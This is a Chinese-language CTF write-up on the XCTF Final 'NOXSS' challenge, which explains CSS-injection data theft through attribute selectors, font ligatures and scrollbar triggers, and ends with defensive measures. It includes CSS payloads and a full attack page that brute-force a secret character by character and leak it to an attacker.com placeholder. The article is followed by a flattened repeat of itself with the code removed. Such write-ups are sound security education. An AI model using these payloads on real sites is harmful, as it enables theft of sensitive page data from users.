XCTF Final NOXSS 攻击技术详细分析
字数 943 2025-08-25 22:58:40

XCTF Final NOXSS 攻击技术详细分析

1. 攻击技术概述

NOXSS攻击是一种利用CSS特性窃取HTML中敏感数据的技术,主要应用于以下场景:

  • 窃取隐藏input字段的值
  • 窃取JavaScript变量中的敏感数据
  • 绕过XSS防护机制获取敏感信息

2. 基础攻击原理

2.1 通过CSS选择器窃取input值

<input type=hidden value="7b8a45b8297cf82cc3cefc174c3ae5a1">
<style>
    input[value^="7"] {
        background: url(http://attacker.com/leak/7);
    }
</style>

攻击原理:

  1. 使用CSS属性选择器匹配特定开头的value值
  2. 当匹配成功时,加载外部背景图片
  3. 通过监控服务器请求获取匹配成功的字符

2.2 自动化窃取流程

自动化工具需要解决的关键问题是如何确定哪个字符匹配成功。解决方案:

  1. 建立包含iframe的攻击页面
  2. 服务端通过设置cookie响应请求
  3. 父页面通过检查cookie判断匹配的字符

3. 窃取JavaScript变量技术

3.1 字体连字(Font Ligature)技术

关键概念:

  • 连字:两个或多个字符组合成的特殊字形
  • 可以通过自定义字体创建特定字符序列的连字

攻击步骤:

  1. 创建自定义字体,设置特定字符序列的宽度
  2. 使用@font-face引入自定义字体
  3. 通过滚动条触发检测

3.2 自定义字体示例

SVG字体定义:

<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode='"7"' horiz-adv-x="10000" d="M1 0z"/>
    </font>
  </defs>
</svg>

3.3 利用滚动条检测

CSS关键代码:

@font-face {
    font-family: "hack";
    src: url(http://attacker.com/font.woff);
}
script {
    display: table;
    font-family: "hack";
    white-space: nowrap;
}
body::-webkit-scrollbar:horizontal {
    background: url(http://attacker.com/leak/7);
}

攻击原理:

  1. 设置script标签显示为表格
  2. 应用自定义字体
  3. 当特定字符序列存在时,因宽度变化触发水平滚动条
  4. 通过滚动条样式加载外部资源泄露信息

4. NOXSS题目实战分析

4.1 漏洞点发现

在主题参数存在CSS注入:

http://example.com/noxss.php?theme=../../../../\fa{}){}body{background:red}%2f*

注入技巧:

  • 使用%0a换行绕过过滤
  • 使用){}闭合前文并开始新样式
  • %2f*注释掉后续内容

4.2 完整攻击流程

  1. 构造CSS注入payload窃取secret变量
  2. 使用字体连字技术逐个字符爆破
  3. 通过滚动条触发请求泄露字符

示例攻击页面:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>NOXSS Attack</title>
</head>
<body>
    <script>
        const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('');
        let prefix = 'xctf{';
        
        chars.forEach(c => {
            var css = '?theme=../../../../\fa{}){}';
            css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}`;
            css += `html{display:block}*{display:none}`;
            css += `body::-webkit-scrollbar{display:block;background: blue url(http://attacker.com/?${encodeURIComponent(prefix+c)})}`;
            css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://attacker.com/font/${prefix}/${c});}`;
            css += `script{font-family:a${c.charCodeAt()};display:block}`;
            
            document.write(`<iframe src="http://victim.com/noxss.php?theme=${encodeURIComponent(css)}" 
                              style="width:1000000px" 
                              onload="event.target.style.width='100px'"></iframe>`);
        });
    </script>
</body>
</html>

5. 防御措施

  1. 严格过滤用户输入的CSS内容
  2. 对敏感数据使用CSP限制外部资源加载
  3. 避免在客户端存储敏感信息
  4. 使用HTTPOnly和Secure标志设置cookie
  5. 实施同源策略限制跨域请求

6. 参考资源

  1. 通过CSS注入窃取HTML中的数据
  2. Wykradanie danych w świetnym stylu
  3. XCTF final 2019 Writeup By ROIS
XCTF Final NOXSS 攻击技术详细分析 1. 攻击技术概述 NOXSS攻击是一种利用CSS特性窃取HTML中敏感数据的技术,主要应用于以下场景: 窃取隐藏input字段的值 窃取JavaScript变量中的敏感数据 绕过XSS防护机制获取敏感信息 2. 基础攻击原理 2.1 通过CSS选择器窃取input值 攻击原理: 使用CSS属性选择器匹配特定开头的value值 当匹配成功时,加载外部背景图片 通过监控服务器请求获取匹配成功的字符 2.2 自动化窃取流程 自动化工具需要解决的关键问题是如何确定哪个字符匹配成功。解决方案: 建立包含iframe的攻击页面 服务端通过设置cookie响应请求 父页面通过检查cookie判断匹配的字符 3. 窃取JavaScript变量技术 3.1 字体连字(Font Ligature)技术 关键概念: 连字:两个或多个字符组合成的特殊字形 可以通过自定义字体创建特定字符序列的连字 攻击步骤: 创建自定义字体,设置特定字符序列的宽度 使用 @font-face 引入自定义字体 通过滚动条触发检测 3.2 自定义字体示例 SVG字体定义: 3.3 利用滚动条检测 CSS关键代码: 攻击原理: 设置script标签显示为表格 应用自定义字体 当特定字符序列存在时,因宽度变化触发水平滚动条 通过滚动条样式加载外部资源泄露信息 4. NOXSS题目实战分析 4.1 漏洞点发现 在主题参数存在CSS注入: 注入技巧: 使用 %0a 换行绕过过滤 使用 ){} 闭合前文并开始新样式 %2f* 注释掉后续内容 4.2 完整攻击流程 构造CSS注入payload窃取secret变量 使用字体连字技术逐个字符爆破 通过滚动条触发请求泄露字符 示例攻击页面: 5. 防御措施 严格过滤用户输入的CSS内容 对敏感数据使用CSP限制外部资源加载 避免在客户端存储敏感信息 使用HTTPOnly和Secure标志设置cookie 实施同源策略限制跨域请求 6. 参考资源 通过CSS注入窃取HTML中的数据 Wykradanie danych w świetnym stylu XCTF final 2019 Writeup By ROIS